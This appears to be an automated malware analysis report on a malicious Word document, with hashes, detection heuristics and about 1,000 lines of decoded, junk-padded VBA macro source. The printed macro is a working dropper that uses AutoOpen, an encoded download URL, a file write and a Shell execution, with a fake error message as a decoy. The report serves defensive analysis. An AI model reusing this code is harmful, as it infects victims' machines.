Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 34328994f7fb4e5e…

MALICIOUS

Office (OLE)

461.0 KB Created: 2019-01-29 17:07:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 685064e7e736c372eeeeeda936749a8d SHA-1: d2595a102f6ea1e238a2d8721a78bd00eb4d8bbf SHA-256: 34328994f7fb4e5e7eaa903049f3403ef1cf852b709cd737b97e85c8b0fd4a7a
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. Critical heuristics indicate the macros attempt to download and execute a file from the internet. The presence of AutoOpen and Shell calls within the VBA code strongly suggests a dropper or downloader functionality, aiming to fetch and run a secondary payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6837207-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6837207-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell$ dodcvle
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write eoptc.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set xpiii = CreateObject(gaap)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 110377 bytes
SHA-256: 3de70b749d15433bac7f480a646a867b2cdb2352656008c78f14620b226cd6f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function hnzrzo3() As Byte

llntlejso = -42 Mod 475

' zk
gjayeud = 119 Mod 44
nudlcwo3 = 40 Mod 269
Dim alxm0
alxm0 = -11022
eyuo = 5
For uoyli = 0 To 4
eyuo = eyuo + uoyli
Next uoyli

' ehhotjymciughiyeakhyibokixboaoecyzfiqga0
aelyiz = Not (4 > -80)

zmyaeeo = 335 Mod 467
pkupmou0 = Not (97 > -8)
' atfesgwuoutnyhqiyoifmqpjjieivhvs
alia = Not (-36 < -32)
asvezi = 410 Mod 215
ilsuy = 275 Mod 456
End Function
Function mimnv()
ehsei = 199 Mod 321
Rem ueuyauynlykcritbdveyaphi90
ladhlv = -19 Mod 362

Dim phdfcie As Integer
phdfcie = 10
For ftpmvajff = 0 To 4
phdfcie = phdfcie + ftpmvajff
Next ftpmvajff
omxsgfbw = Not (19 > -2)
heuykcj = Not (-90 > 27)
xognw63 = Not (44 > -51)

Dim gvhoty As Double
gvhoty = 7460.346
ljaahf = 1
For ipjibllb05 = 0 To 4
ljaahf = ljaahf + ipjibllb05
Next ipjibllb05
Dim fpjopj
fpjopj = -11539

Set eoptc = xpiii(graptbrg)
' njmmrhyqism6

esaao = 54 Mod 178
Rem yuypengknzfjbrkfyi09eutsxaroe5
sxysrkkl = Not (-4 < 92)
urayidq = Not (20 < 99)
aptenu = 9 Mod 399
pdyfkvki = Not (93 < 36)
Dim hqaejgp34 As Integer
hqaejgp34 = 9
For brdwii = 0 To 5
hqaejgp34 = hqaejgp34 + brdwii
Next brdwii
' dlgempmqzuaugiucupueaduyozwmjcjouuhejmetk
' ybhuyfvhcyjwnqytq42
Dim yydvvr
yydvvr = -19150
uqwtv = 159 Mod 292

tuxc = Not (40 > -99)

' qnaiyscxguexyivgpakqxhrki
vyui = 102 Mod 355
Set kbmzno = xpiii(mhyppksqcf)
' peuieiubwgrceesw15
oxgyaibw = 2
For kwwlea22 = 0 To 5
oxgyaibw = oxgyaibw + kwwlea22
Next kwwlea22
cliy = 8
For uddzgqfe = 0 To 2
cliy = cliy + uddzgqfe
Next uddzgqfe
yqlgyo70 = 7
For onyl4 = 0 To 4
yqlgyo70 = yqlgyo70 + onyl4
Next onyl4
Dim tkedpo
tkedpo = -10630
Rem wmbzuykuzjuzcrcbilyxbs
orei32 = Not (-48 < -33)

eiiuy = -41 Mod 92
aireozl = Not (-43 < 59)
pturnwwbhgm = Not (28 < 14)
Dim ifyaabq As Integer
ifyaabq = 6
For cpouyy = 0 To 3
ifyaabq = ifyaabq + cpouyy
Next cpouyy

wboayua = Not (-15 < 19)
azyqkoi = 394 Mod 124
qwaye = -51 Mod 437
Dim vgena0 As Integer
vgena0 = -29519
bhxypp = Not (63 < 16)

afeuepz = 2
For puoddd = 0 To 3
afeuepz = afeuepz + puoddd
Next puoddd
Dim nleiu As Integer
nleiu = 3
For ifcuao = 0 To 5
nleiu = nleiu + ifcuao
Next ifcuao
With eoptc
Dim couvmedr As Integer
couvmedr = 11040


ilhziei = -77 Mod 408
' ugzcooejbrzvdtsttscoakmyyzydaxmpzvgfrbztla
Rem naezi0xshydayyiioirniaoyuokpcazzuu9
ebgeosg = 2
For uaeidd = 0 To 5
ebgeosg = ebgeosg + uaeidd
Next uaeidd
syxj01 = 86 Mod 27
oeglgr = Not (92 < 60)

vwaixb = 479 Mod 70
ogavy0 = 407 Mod 58
ygdyrkmv = "GET"
' yiuurkuylvcljbmefmoxeynsfmnydreudte44yiobkyyyeayyxhp
pxzegua2 = 425 Mod 28
uetdiji = Not (3 > 48)
Rem ooywa9ayiyqxhbyuyvxduiwiwaj
' bnmqbeezvwiyqjaqj

vdoeie = 2
For jvolpyu = 0 To 5
vdoeie = vdoeie + jvolpyu
Next jvolpyu

Dim fghfoa As Integer
fghfoa = -8695
Rem osuwtxdi
gdeeugctj = 289 Mod -53

' yegivnnpjibsebfmswey46amqkcvsulkqsdheewlea
gurkia = 94 Mod 84
foxmra = Not (64 < 35)
Rem qyeoiypyaulgneuewjauuzqcje
uxalrm = 4
For oekwrfhnc92 = 0 To 3
uxalrm = uxalrm + oekwrfhnc92
Next oekwrfhnc92
kukgkpg = Not (64 < 46)

Dim yhbakiy As Variant
yhbakiy = "7511"
If WeekdayName(2) <> "Monday" Then Exit Function
' euaemsoeiguh
ziigdent = -28 Mod 475
hmjqivljo = 3
For saoci85 = 0 To 4
hmjqivljo = hmjqivljo + saoci85
Next saoci85
Dim ucwe As Integer
ucwe = -6929
Rem ermhlrqecmyhlqlcyqln70
Dim yiyvvi
yiyvvi = 631
ooyux = Not (-45 > 84)

yeuyy = Not (-12 > -57)
Dim gaeu
gaeu = -17568
Dim xdoargo As Boolean
xdoargo = False

srvahlz = Not (-18 > 24)
isnhe6 = Not (54 > 42)
Dim dibwe As Integer
dibwe = 8
For osznn = 0 To 3
dibwe = dibwe + osznn
Next osznn
qziim = 5
For xyiwie9 = 0 To 4
qziim = qziim + xyiwie9
Next xyiwie9
.Open ygdyrkmv, tmoihr, False
Dim kymnk00
kymnk00 = -19148

jeete = 441 Mod 339
Dim hyellzta4 As Integer
hyellzta4 = 4
For zreee = 0 To 2
hyellzta4 = hyellzta4 + zreee
Next zreee
uysrh8 = Not (-65 > -68)

Dim biynxwl As Variant
biynxwl = "23434"
afrrdbmoo = Not (-73 < -1)
Dim sfoqrknaz As Integer
sfoqrknaz = 2
For ujdvbh = 0 To 5
sfoqrknaz = sfoqrknaz + ujdvbh
Next ujdvbh
Dim xjyokdxp5
xjyokdxp5 = -10666
yxsnt = 3
For rsoazdo = 0 To 3
yxsnt = yxsnt + rsoazdo
Next rsoazdo
oaauf = -85 Mod 411
euirjo1 = Not (-23 > -3)
Dim emlxg As Integer
emlxg = 6
For ewbze = 0 To 2
emlxg = emlxg + ewbze
Next ewbze
uioykn = Not (28 < 73)

Rem ipftnyooukzocmqkpoeue57e

' qhmcceourubgiaqlbdlhz
Dim nhnfvlei
nhnfvlei = 5711

bzyyuuf = Not (91 > 58)
Rem eravhouoystiiyrxauyuexdvletdrgjrnbvhbsqeoldasr3rxzmuuktizqyugmlaoab

yetezm = 290 Mod 416
ikyiex1 = Not (-78 > 82)
Dim oljhbyi As Integer
oljhbyi = 15069
' tiloeqadpcseyeq
Dim coqpjqidv8 As String
coqpjqidv8 = "2360"
Dim twppeni
twppeni = -22939
.send
Dim alswcn
alswcn = -23372
Rem wssgynuezaffnvnioaukvxclcbwkirmumheeajnjmocna
aiepiml = 6 Mod 356
Rem aoiuioshdpvmoe7

xjaydx = 5
For huutze = 0 To 3
xjaydx = xjaydx + huutze
Next huutze
kphdqv09 = 9
For szhuuyy = 0 To 4
kphdqv09 = kphdqv09 + szhuuyy
Next szhuuyy
hiiiyy = 9
For yrczcofp = 0 To 4
hiiiyy = hiiiyy + yrczcofp
Next yrczcofp
eebvy = 7
For nzneidx2 = 0 To 3
eebvy = eebvy + nzneidx2
Next nzneidx2

MsgBox "Erro" + "r: Fi" + "le is Brok" + "en"

iaoa = 7
For utczxfv01 = 0 To 2
iaoa = iaoa + utczxfv01
Next utczxfv01

Dim ukiey As Integer
ukiey = 1
For fauy = 0 To 3
ukiey = ukiey + fauy
Next fauy
zhixspgmm = 281 Mod 195
yodu26 = 148 Mod 490

Dim uiohlsa00
uiohlsa00 = -1034
End With

Dim cpnazni As Double
cpnazni = -50704.37501

Dim aygyz As String
aygyz = "oadx0"

fiom = 54 Mod 182
With kbmzno
Dim oiyw4
oiyw4 = -25100
mduxbc74 = 8
For fwwzha = 0 To 4
mduxbc74 = mduxbc74 + fwwzha
Next fwwzha

Dim iafy As Integer
iafy = 8
For ollimmxs = 0 To 3
iafy = iafy + ollimmxs
Next ollimmxs
' auflvoyxmieo

Dim yikgj As Integer
yikgj = 10
For qnajfyiwk0 = 0 To 3
yikgj = yikgj + qnajfyiwk0
Next qnajfyiwk0
euaantd12 = 101 Mod 278
Rem aaiioseahzgcadboqalfohieeikooyigeyalcjk
uhme = Not (-11 < 38)
ykxxuld = 212 Mod 162
avlwmyvtm = -6 Mod 429
Rem ahzpiabvpyiyidalmcdduyiveiuerfu
kjge = 249 Mod 93
ofknwtt = 146 Mod 453

Rem duokghfsmlodunwnw5lfxufdadjuruamjmeaiouoi
trkfglo = Not (12 > 25)
eollxgo0 = Not (-77 > -86)
' yewgsfzyjiiiurfnuokafmzyoexchuldoucsfdjinnpkqulwa

zioc = Not (81 > -19)
ieakte3 = 447 Mod 218
Rem aoeovttaqau42uciuyrqimadahlfgiuymviyekf
.Open
uvyih = 79 Mod 349

Dim njybpqj
njybpqj = -20598
sbtxhi = 303 Mod 260
Dim vheey
vheey = 7031
khidkr = 5
For dvyudfpl = 0 To 5
khidkr = khidkr + dvyudfpl
Next dvyudfpl

Dim eqquyu8
eqquyu8 = -23703

Dim tfeqxh As Integer
tfeqxh = 9
For oywvb = 0 To 3
tfeqxh = tfeqxh + oywvb
Next oywvb
Dim kaoe As Double
kaoe = 47887.23093
Dim jpmmil As Boolean
jpmmil = True

Dim ooxi As Integer
ooxi = 10
For tzuiao = 0 To 5
ooxi = ooxi + tzuiao
Next tzuiao

zfyeyxg = 269 Mod -84

buqeua04 = 412 Mod -98
usbzbtie = 0
For yieuzy9 = 0 To 4
usbzbtie = usbzbtie + yieuzy9
Next yieuzy9
.Type = 1
jwjsvaoy = Not (69 > 72)
nesorpr = Not (75 < 56)
Rem uuaydkymvidwpayaeyiiyyhqgvf21
eoxmhq35 = Not (-72 > -96)
ajdqx58 = 278 Mod 485
iutv = 8
For htwlxtyfze = 0 To 2
iutv = iutv + htwlxtyfze
Next htwlxtyfze
Dim rayuqqo As Integer
rayuqqo = 4
For bzjxyrc = 0 To 2
rayuqqo = rayuqqo + bzjxyrc
Next bzjxyrc
lioiea = 161 Mod -7

Dim jainjg
jainjg = 12004
Rem eofwkgiii2oafnbahqzmwiodccthkpuypndukhiohysfq3
aalwwlywj39 = Not (54 < 86)
oygcg = 481 Mod -26

liytq1 = 2
For immbybbo = 0 To 3
liytq1 = liytq1 + immbybbo
Next immbybbo
rvsgi = 233 Mod 50

.write eoptc.responseBody
xmluavrm = 8
For ffuaa5 = 0 To 3
xmluavrm = xmluavrm + ffuaa5
Next ffuaa5
Dim yaapdww19 As Variant
yaapdww19 = "-20513"

Dim oeue As Variant
oeue = "4950"

akmptuza = 224 Mod 95

Dim yoeo As Integer
yoeo = 5
For ifdzcy = 0 To 5
yoeo = yoeo + ifdzcy
Next ifdzcy
yootwiu0 = 425 Mod -31
yeaeee9 = 422 Mod 43
.savetofile dodcvle, 2
yeks = Not (-5 > 88)
Dim oepv As Integer
oepv = 4
For uiave = 0 To 4
oepv = oepv + uiave
Next uiave
Dim uxsoi As Integer
uxsoi = 4
For iwtfaymb9 = 0 To 4
uxsoi = uxsoi + iwtfaymb9
Next iwtfaymb9
Dim jsrhawo As Integer
jsrhawo = 6
For aduabb = 0 To 5
jsrhawo = jsrhawo + aduabb
Next aduabb
' axvkibnldqjyziavsghuhwbenzaigpvniddy0yyzzxfu
qtefue = Not (-86 < 44)
Dim vwceja As Integer
vwceja = -13955
Dim headpa As String
headpa = "eaioxqnpzwmsvswkoayljwn"

' zwghwqxk
iuoqrtu4 = 85 Mod -63
qaeuma = 7
For iyeoa = 0 To 2
qaeuma = qaeuma + iyeoa
Next iyeoa
ikterl = Not (-87 > 58)

ojcxa = 48 Mod 192
ynooi = 119 Mod 271

zxfy = -49 Mod 173
Dim oziu As String
oziu = "12758"
ieooelt = 396 Mod 107
ifsya = 108 Mod 232
pzebciso = 8
For uooi = 0 To 2
pzebciso = pzebciso + uooi
Next uooi
Dim wxwebl
wxwebl = 7364

Dim aaoihvq As Integer
aaoihvq = 9
For vhwuvdq = 0 To 4
aaoihvq = aaoihvq + vhwuvdq
Next vhwuvdq
Dim eunnknoi As Integer
eunnknoi = 3
For kiap = 0 To 3
eunnknoi = eunnknoi + kiap
Next kiap
yyjiznt = 134 Mod -16
xsnkzi = Not (42 > -5)
mjcbuaa = Not (86 < 17)
' lnaaamstw
utzyerqsh25 = 76 Mod 497
.Close
yifljbrl = 189 Mod 77

' axitatnuyoysguipsmddq
Dim tyavdoo
tyavdoo = -17906
vmiyqx = 377 Mod 428
xxazvxmxva = 334 Mod 492
chyee = Not (94 < -55)

teha = 352 Mod 375
awtbg = 439 Mod 71
Rem rbtnvkdcvfbwh
yawcgi = -67 Mod 294
okrdo = 353 Mod 210
mvkbbjyqf = Not (49 > -14)
Rem xqnxa8blps
fqqgae = Not (1 < -71)
End With
' umkdbohd

ajnczkl = 4
For mkufcaui = 0 To 5
ajnczkl = ajnczkl + mkufcaui
Next mkufcaui
owblyhkbv = 10
For mauuor = 0 To 4
owblyhkbv = owblyhkbv + mauuor
Next mauuor
umiij = 199 Mod 386


Rem rlysfclmtjzqwywxnaacyshvqn
Dim ilgie45 As Integer
ilgie45 = 10
For gjcgem = 0 To 2
ilgie45 = ilgie45 + gjcgem
Next gjcgem
upuey = Not (-23 > -9)

jridb = Not (-32 > 51)
sqyos = 0
For umnve66 = 0 To 2
sqyos = sqyos + umnve66
Next umnve66
' yayiwruytbwkarpaocmyopyigoulzypzpgcoxfvilcbjmpawfyuqrugf
Rem wdgaeabk
kagfs93 = Not (79 > 82)
Dim udaj
udaj = 13669

sytdnzsny = Not (8 > 55)
efnwne0 = ilacl83()
Dim lwiayse
lwiayse = -22170
tolbivx = 9
For zwoaysu = 0 To 3
tolbivx = tolbivx + zwoaysu
Next zwoaysu
ecxtrnn = 248 Mod 317

Dim pioijw As Integer
pioijw = 10
For pqeypfaq = 0 To 5
pioijw = pioijw + pqeypfaq
Next pqeypfaq
Dim yilkmy
yilkmy = -22737
' eoqprcikwuny
Dim ihnuiy As Variant
ihnuiy = "-9358"
' vcxvxapesjueihsl2jxpuucnzhi
oojwrh9 = 8
For nfqlwuow = 0 To 5
oojwrh9 = oojwrh9 + nfqlwuow
Next nfqlwuow
Rem ooayxjnemcumfgcuaveehthbnkadoelonz
xuyueo = 334 Mod 5
laay97 = 109 Mod 359
Dim cooe
cooe = -24225
opnyx8 = Not (-52 < -23)
End Function
Function ilacl83()
hguhfsd = -75 Mod -47
Dim ivse As Boolean
ivse = True
azceie = Not (62 > -99)
ykcui = Not (60 < -35)

pojtnli = 200 Mod 392
eaugj = Not (63 < -18)
iyjjdq = 8
For eeueca = 0 To 4
iyjjdq = iyjjdq + eeueca
Next eeueca
Dim yiaillqs43
yiaillqs43 = -8425
kdhtdykq = -83 Mod 87

pnfoxox = Not (4 < 79)
Rem oaukelroebakdocoiwyy
Dim pioxe As Integer
pioxe = -10818
Dim rbxvnyia As Integer
rbxvnyia = 8
For uisuphg = 0 To 2
rbxvnyia = rbxvnyia + uisuphg
Next uisuphg
Dim ykzahen As Variant
ykzahen = "-29088"

Rem icxipqdhvzawoy

Dim zoeazu As Integer
zoeazu = 5
For nburkao = 0 To 2
zoeazu = zoeazu + nburkao
Next nburkao
Dim obsyuhq As String
obsyuhq = "23320"
jiyqbkjx = Not (84 < 56)
Dim bpyiu As Integer
bpyiu = 1
For clwgoe = 0 To 4
bpyiu = bpyiu + clwgoe
Next clwgoe
Dim ufoldy As Boolean
ufoldy = False
pguuygm = 224 Mod 284
Dim opzcvbg As Boolean
opzcvbg = True
' uyeesehkdjhrqmpslla4owkaaufoderxggofjvzaoy
Dim yohedx53 As Variant
yohedx53 = "12613"

Dim gzzxoxq As Integer
gzzxoxq = 5
For agsutzr = 0 To 2
gzzxoxq = gzzxoxq + agsutzr
Next agsutzr
Rem evlmsiu5extvolrfrwovieftpauaeystjl
Dim uxuyk As Integer
uxuyk = 5
For uspnzdmeu = 0 To 2
uxuyk = uxuyk + uspnzdmeu
Next uspnzdmeu
' mjwsuuelguuodcygrioueaoulpkheamdnevdrdsweetphiouos
Shell$ dodcvle
abiu = 5
For tdinunnpx0 = 0 To 2
abiu = abiu + tdinunnpx0
Next tdinunnpx0
eolr86 = 5
For vknpxg7 = 0 To 4
eolr86 = eolr86 + vknpxg7
Next vknpxg7
umpwrbbqv = Not (29 > -88)
aexxiei = 208 Mod -93
seyy = 1
For vetoopm = 0 To 4
seyy = seyy + vetoopm
Next vetoopm
lggtyr = Not (-50 > 75)
zifcne = 6
For eioefhy = 0 To 3
zifcne = zifcne + eioefhy
Next eioefhy
ehkodui = 250 Mod -96
aubxdsza = 326 Mod 112
Dim ouqlu
ouqlu = 11817
rjjtmbgro = 404 Mod 156
' ibylleymiooizkehdgdeqvuaauefhmkfxfluunqsck

uupb2 = Not (76 > 5)
Dim xzbufw07 As Integer
xzbufw07 = 10
For hnlxgt = 0 To 2
xzbufw07 = xzbufw07 + hnlxgt
Next hnlxgt
absza = Not (67 > -35)
Rem pqlxvxbabsb

legt = 132 Mod 272

atrthv = 447 Mod 26
izua = 436 Mod -28
Dim pawluow
pawluow = 6855

uxquei = Not (-30 < 97)
End Function
Private Function iflansz38(ByVal gdcoxsy5, iaazmx)

' taufwwzrciakjuuprnqmiuv97
Rem syavfpzfoabaiypvsgfnvuzduxomh8
' errzribfieqwc

upxue = Not (60 > 35)
Dim hpwrei
hpwrei = -16822
' dohavvicmji
eayoihn = Not (46 > 82)
Dim oiuuiq00
oiuuiq00 = 8281
Dim vafsdc
vafsdc = -28598
Rem oeycdoqruyxpauuoutpkrauqnoumaktaluuokryum
wcfics = 196 Mod 114
' mexqtuudmeovzurfyogneaqdtpohhlbqvkhmzqieadwaiujvoyexyiiayyioa
Rem cnlubsxqerwyogguiiyefmewiowxc

cfemlilu4 = Not (86 < -79)
snfou = -89 Mod 325
joeccde = 10
For ectcckbf60 = 0 To 5
joeccde = joeccde + ectcckbf60
Next ectcckbf60
Dim scuofnh
scuofnh = -12320
aeoay0 = Not (98 > -83)
kqfqhlnkyc0 = 0
For qksio1 = 0 To 3
kqfqhlnkyc0 = kqfqhlnkyc0 + qksio1
Next qksio1
Dim ieei As Double
ieei = 35321.23588
Rem eibradziepobgiuiybcgvunyvqvervtprpkrbihsajzqgexvoitnayailbde

Dim yaol As Boolean
yaol = False

End Function
Private Function umboxlf(osyug As String) As String

ogougx = Not (44 < 82)
jfqleu = 280 Mod 84
eacryhqr = 138 Mod 87
Dim eppxbpa As Integer
eppxbpa = 0
For pyao11 = 0 To 2
eppxbpa = eppxbpa + pyao11
Next pyao11
zetckcmw2 = 218 Mod 228
bdary = Not (16 < -99)

Dim uahhistq
uahhistq = -21051
twbtue = 4
For vtnyaec = 0 To 2
twbtue = twbtue + vtnyaec
Next vtnyaec
Rem uiiawioovuwwyfnzieeibxua
End Function
Function ewyyvb42()
mimnv
ncahnc = 277 Mod 169

Dim euont
euont = -14560
Dim evozbi As Double
evozbi = 39171.8703
' pwmxayyxlfaaexysdfjhusdghpnieiato99oeoez

' mwsokqfdrkltbltteewraquaeeuonuuoyyxmzeaibloxnpzqcbzh
ooaari = Not (42 < 94)
Dim aeag
aeag = -21678
oslizi = 4
For xmtpzyqh = 0 To 3
oslizi = oslizi + xmtpzyqh
Next xmtpzyqh
' dzobmolkfvjenkeyayzdoi14tokmopexbdkmckwpeotnaembf
Dim yijcfmha As Double
yijcfmha = -4655.22219
efgew9 = 295 Mod 62
Rem yhxccoug2iqzykhvmqiefdjuytoyro
geksxfp89 = 104 Mod 32

ozsepoe = Not (-56 < 98)
Dim earhia0 As Integer
earhia0 = 3
For odur22 = 0 To 5
earhia0 = earhia0 + odur22
Next odur22

Dim amdmtk As Integer
amdmtk = 5
For eauivgy40 = 0 To 3
amdmtk = amdmtk + eauivgy40
Next eauivgy40
End Function
Private Function ieddh23(uslxhuvc, ByVal yeaum As Variant)

uuaaio = -71 Mod 448
zrfyoxqo8 = 2 Mod 280
Rem uyxejwluoaiudkswhechyuiruokcdub98

Dim ivjourki As Boolean
ivjourki = False
Rem oaaohk
uuuio0 = -33 Mod 318
mlelzdky = Not (-82 < -74)
' nuixiuomvuwxsllrhbnasno
Rem ayiwlsrfwiauccnyypodjosxxzsaorn

Dim saaqh0 As Variant
saaqh0 = "-18890"
' ahvayeibhvliouwgaoeioccmqncj3

End Function
Function ykdt40(aymdl, ezipoe, utwhkdhu)
orlzj = Not (-92 < -76)
Dim oxjkkq64 As Integer
oxjkkq64 = 4
For isvxw = 0 To 4
oxjkkq64 = oxjkkq64 + isvxw
Next isvxw
Rem pgoalxqxdazyuoiymt
eyoi3 = 5
For yuouqc = 0 To 3
eyoi3 = eyoi3 + yuouqc
Next yuouqc

tkzmowvo = 369 Mod 319
Rem wqfsesrmvpgqnlpkeibwugkytxey27ponnnxwqvyyfr
uujy = Not (-42 < 85)
Dim qpnsksmfa
qpnsksmfa = -5023
sogykk = Not (-84 > -82)

Dim jxjplu As Integer
jxjplu = 3
For xsyoets = 0 To 4
jxjplu = jxjplu + xsyoets
Next xsyoets
xjelpo = ezipoe
Dim voakj
voakj = -16365
Dim lxese As Boolean
lxese = False
aita = 8
For iyyaue60 = 0 To 2
aita = aita + iyyaue60
Next iyyaue60
Rem ejiymltngxmeuajivquadmagcuyidhuxindhcyoydaj
vjmsto80 = 283 Mod 392
feoaatc = 204 Mod -76
Rem eaoqbyeh9yucouvbusymolkehquie
For cjjmntq6 = 0 To utwhkdhu
hsgbudc01 = Not (-47 > -83)
uwpkia1 = 1
For cdtetz = 0 To 4
uwpkia1 = uwpkia1 + cdtetz
Next cdtetz

Rem rqzttegzga5

yermedtrx = yermedtrx + Mid(aymdl, ezipoe, 1)
exmya6 = Not (-56 < 76)

Dim uuzoka As Integer
uuzoka = 10
For iopou0 = 0 To 5
uuzoka = uuzoka + iopou0
Next iopou0
bnicamc = Not (-92 < -9)
Dim yozni As Boolean
yozni = False
otnehcdd = 10
For vgnaxnz8 = 0 To 3
otnehcdd = otnehcdd + vgnaxnz8
Next vgnaxnz8
' ijyqra0
Dim msbtwgmqv As Variant
msbtwgmqv = "-29034"
duphzk = Not (73 > -66)
Dim uayacdv
uayacdv = 729

alqsmtri = 5
For opie = 0 To 2
alqsmtri = alqsmtri + opie
Next opie
' erjaooilsueuaycbpuxie9
yehwds = 423 Mod 358
aemnimd = 407 Mod 141
Dim njnmhtzuo As Integer
njnmhtzuo = 6
For ueapxe = 0 To 4
njnmhtzuo = njnmhtzuo + ueapxe
Next ueapxe
Dim upzly As Integer
upzly = 6
For tmlwmtt = 0 To 5
upzly = upzly + tmlwmtt
Next tmlwmtt

ezipoe = ezipoe + xjelpo
uizad = Not (40 > 64)
Dim jdlqknxjsq As Integer
jdlqknxjsq = 8
For pdooaqjy = 0 To 3
jdlqknxjsq = jdlqknxjsq + pdooaqjy
Next pdooaqjy

exaxjiu43 = 313 Mod -47
Next cjjmntq6
omwuopj = 7
For rbjlwfuqg = 0 To 2
omwuopj = omwuopj + rbjlwfuqg
Next rbjlwfuqg
exwpqcu = 90 Mod 75
iutiu = 6
For ifreal = 0 To 5
iutiu = iutiu + ifreal
Next ifreal
Rem o
evuyiqq0 = 6
For yizww3 = 0 To 5
evuyiqq0 = evuyiqq0 + yizww3
Next yizww3
ykdt40 = yermedtrx
End Function
Function tmoihr()

Dim iuicty As Integer
iuicty = 8
For jnedqdo = 0 To 4
iuicty = iuicty + jnedqdo
Next jnedqdo
oaeo16 = 127 Mod 143
shqney = Not (-53 < 14)

Rem jsuiuygvae55xkozk9lzayaouocgaiavhjpq6
Rem eqzdlkikmlcwdbmjyozlzldtfzmfmowy9
yyawp = 204 Mod 101
ugqe = Not (72 < 44)
gtvltagy = 220 Mod 117
tmoihr = ykdt40("*9h-ot:it2=pl0:a6/Pr/o(ieen)3d(2eM+n/av--e28r(aa^jrgiegaa(g.c/c.\ouxm\4/3=0:209 7156$98ih3;x2i$3,-67;4nz7+\8^e5ez9Oj66y7yR5qU4ua3e6/f\0ox0\$7nu67-8tp37c2yZ3ki6.u4057.^8p95ej9e26bo7pe5ui4Ox3y6/a/e$ux+.ea45Mf6l272I5/D/hue0ixype:2.a4pY_h\mp", 3, 93)
caheeqm03 = Not (80 < -21)
' euwlwbaizalqtkqhafnniolkabbuuebxduoslv05
uytijt2 = 221 Mod 418

' chawmgwvsbwoueyueblureejyipelfaoyuzc
Rem uhfeauexfevrwgycgjqaoazsgyadytzeimoaaaauy
Dim mrscqoob As String
mrscqoob = "-2596"
Rem ouyexky5dgd
End Function
Function graptbrg()
Rem izfmabxztajwhzkcbveibzqkaouibfin
Dim oesof As Integer
oesof = 6
For hnpaqn = 0 To 2
oesof = oesof + hnpaqn
Next hnpaqn
Dim oavr
oavr = 30014
mdbyima8 = Not (-80 > -86)

Dim ebzszkxke As Integer
ebzszkxke = 4
For sxkodqy = 0 To 3
ebzszkxke = ebzszkxke + sxkodqy
Next sxkodqy

ennnml = 209 Mod 362
Dim cujjdtq As Double
cujjdtq = -34344.8447

oqjkzy85 = Not (-75 > 87)

hyxdbq = Not (-39 < -16)
dyea0 = Not (-80 > 37)
tquoouu = 186 Mod 409
Dim uaay6 As Integer
uaay6 = 1
For oueoi = 0 To 3
uaay6 = uaay6 + oueoi
Next oueoi
Rem eiimjcuszkweepzjopqzvi
Dim spasy
spasy = 24297
chgkovy = 368 Mod 228
oyyw = 337 Mod 175

ealk = 493 Mod 456
iavd = 278 Mod 225
ueyoi = Not (-30 < -60)
graptbrg = ykdt40("aMUiwcorhogs.o9f\tq.6XvM2LKHuTaTbP", 2, 34)
Dim aekastl As Integer
aekastl = 7
For evzlv = 0 To 5
aekastl = aekastl + evzlv
Next evzlv
Rem izldliyalme44kgg

' ga
Dim pzvfyy As Double
pzvfyy = 21003.49429

Dim uwfkdibxsr
uwfkdibxsr = 15341
Dim ussux As Integer
ussux = -14303
' neyxrliykzaw42
…